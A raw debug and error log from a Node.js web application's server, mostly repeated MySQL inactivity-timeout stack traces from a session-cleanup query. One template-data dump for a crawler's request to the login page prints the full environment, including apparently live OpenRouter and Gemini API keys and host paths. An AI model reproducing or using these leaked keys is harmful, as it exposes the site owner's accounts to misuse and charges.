    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-23 00:47:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-23 03:04:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-23 03:04:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-23 06:48:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-23 06:48:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-23 14:11:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-23 14:11:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-23 17:15:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-23 17:15:54' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-23 22:39:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-23 22:39:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-24 01:52:54' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-24 01:52:54' as DATETIME)"
}
2026-01-25T12:00:14.352Z server-connect:router Serving templateView /
2026-01-25T12:00:14.353Z server-connect:app Executing action step identify
2026-01-25T12:00:14.353Z server-connect:app options: { provider: 'security' }
2026-01-25T12:00:14.354Z server-connect:auth No login cookie found
2026-01-25T12:00:14.354Z server-connect:output identity: false
2026-01-25T12:00:14.354Z server-connect:app Executing action step restrict
2026-01-25T12:00:14.354Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-25T12:00:14.354Z server-connect:output restrict: undefined
2026-01-25T12:00:14.932Z server-connect:router Serving templateView /
2026-01-25T12:00:14.933Z server-connect:app Executing action step identify
2026-01-25T12:00:14.933Z server-connect:app options: { provider: 'security' }
2026-01-25T12:00:14.933Z server-connect:auth No login cookie found
2026-01-25T12:00:14.933Z server-connect:output identity: false
2026-01-25T12:00:14.933Z server-connect:app Executing action step restrict
2026-01-25T12:00:14.933Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-25T12:00:14.934Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-25 20:02:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-25 20:02:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-25 21:17:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-25 21:17:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-26 04:56:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-26 04:56:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-26 06:38:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-26 06:38:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-26 07:16:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-26 07:16:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-26 12:26:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-26 12:26:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-26 13:05:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-26 13:05:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-26 16:23:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-26 16:23:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-26 20:52:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-26 20:52:59' as DATETIME)"
}
2026-01-27T01:12:28.556Z server-connect:router Serving templateView /
2026-01-27T01:12:28.557Z server-connect:app Executing action step identify
2026-01-27T01:12:28.557Z server-connect:app options: { provider: 'security' }
2026-01-27T01:12:28.558Z server-connect:auth No login cookie found
2026-01-27T01:12:28.558Z server-connect:output identity: false
2026-01-27T01:12:28.558Z server-connect:app Executing action step restrict
2026-01-27T01:12:28.558Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-27T01:12:28.558Z server-connect:output restrict: undefined
2026-01-27T01:12:28.691Z server-connect:router Serving templateView /login
2026-01-27T01:12:28.691Z server-connect:app Executing action step identify
2026-01-27T01:12:28.691Z server-connect:app options: { provider: 'security' }
2026-01-27T01:12:28.691Z server-connect:auth No login cookie found
2026-01-27T01:12:28.691Z server-connect:output identity: false
2026-01-27T01:12:28.691Z server-connect:router Render template layouts/authentication
2026-01-27T01:12:28.691Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'x-openai-host-hash': '305201621',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    from: 'gptbot(at)openai.com',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.7.243.247',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-28T01:12:28.690Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.7.243.247',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_OPENAI-HOST-HASH': '305201621',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_FROM: 'gptbot(at)openai.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.7.243.247',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-27 03:01:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
